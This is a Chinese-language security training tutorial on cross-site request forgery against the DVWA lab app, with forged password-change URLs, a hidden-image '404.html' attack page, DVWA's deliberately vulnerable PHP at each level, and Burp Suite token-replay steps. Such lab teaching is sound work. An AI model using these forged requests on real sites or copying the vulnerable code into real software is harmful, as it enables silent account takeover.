网络安全实训教程第四章-CSRF(跨站请求伪造)

vlambda
2022-04-12

网络安全实训教程第四章-CSRF(跨站请求伪造)

声明

1.CSRF简介

2.Low核心代码

3.Medium核心代码

4.High核心代码

5.Impossible核心代码

1.CSRF简介

CSRF（Cross-site request forgery），中文意思叫做跨站请求伪造。简单来说，就是利用受害人尚未失效的身份认证信息（包括cookie，session等），诱使其点击包含恶意链接或者是含有攻击代码的网页，使得受害人在不知情的情况下，向服务器发送请求，完成非法操作。（例如常见的，点击链接后，受害人丢失金钱，或者是密码泄露，密码被修改等）。所以总的来说，是利用了受害人的信息，非法去完成恶意操作。

2.Low核心代码

打开DVWA网址，选择安全级别为“Low”,点击“CSRF”，出现如图所示页面。

网络安全实训教程第四章-CSRF(跨站请求伪造)

http://192.168.190.128/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#

我们发现，用户新密码和确认密码，都通过URL参数传递到后台服务器，因此，如果构造这样一条语句，让用户点击，那么它的密码就会修改为“admin”。

http://192.168.190.128/dvwa/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change#

接下来查看源代码。

<?php
if( isset( $_GET[ 'Change' ] ) ) { // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ];
 // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new );
 // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
 // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>";    } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}?>

从代码来看，服务器收到请求后，会检查“password_new”和“password_conf”是否相同，如果相同，则修改密码。

那么我们可以构造一下html页面，页面名称“404.html”，代码如下：

<img src="http://192.168.190.128/dvwa/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change#" border="0" style="display:none;" >  <h2>404</h2>

网络安全实训教程第四章-CSRF(跨站请求伪造)

3.Medium核心代码

<?php
if( isset( $_GET[ 'Change' ] ) ) { // Checks to see where the request came from if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) { // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ];
 // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new );
 // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
 // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } } else { // Didn't come from a trusted source echo "<pre>That request didn't look correct.</pre>"; }
 ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}
?>

4. High核心代码

首先来看一下代码。

 <?php
if( isset( $_GET[ 'Change' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
 // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ];
 // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new );
 // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
 // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; }
 ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}
// Generate Anti-CSRF tokengenerateSessionToken();
?>

在High级别下，代码中加入了Anti-CSRF token机制，前面我们谈过，token机制，是每一次访问页面时，服务器会返回一个随机的token，向服务器发起请求时，需要提交token参数，服务器在收到请求后，先检查token值，如果token值正确，才会处理用户的请求。

针对这种情况，我们采取安装插件来获取token值办法，启动“BurpSuite”，再点击“Extender”,找到“CSRF Token Tracker”,点击右边的“install”，进行安装。如图。

网络安全实训教程第四章-CSRF(跨站请求伪造)

安装完成后，打开拦截设置，将用户的请求拦截下来，并发送到“Repeater”，如图。

网络安全实训教程第四章-CSRF(跨站请求伪造)

接着点击“CSRF Token Tracker”，设置“Host”为“192.168.190.128”，“Name”为“user_token”，勾选“Sync requests based on the following rules”。如图。

网络安全实训教程第四章-CSRF(跨站请求伪造)

接着回到“Repeater”，修改“password_new”和“password_conf”，然后点击“Send”，可以看到右边返回值为200，证明服务器验证成功。

网络安全实训教程第四章-CSRF(跨站请求伪造)

每一次请求，都会提交不同的user_token，提交的user_token，在“CSRF Token Tracker”中可以看到，如图。

5. Impossible核心代码

代码如下。

<?php
if( isset( $_GET[ 'Change' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
 // Get input $pass_curr = $_GET[ 'password_current' ]; $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ];
 // Sanitise current password input $pass_curr = stripslashes( $pass_curr ); $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_curr = md5( $pass_curr );
 // Check that the current password is correct $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); $data->execute();
 // Do both new passwords match and does the current password match the user? if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) { // It does! $pass_new = stripslashes( $pass_new ); $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new );
 // Update database with new password $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->execute();
 // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match or current password incorrect.</pre>"; }}
// Generate Anti-CSRF tokengenerateSessionToken();
?>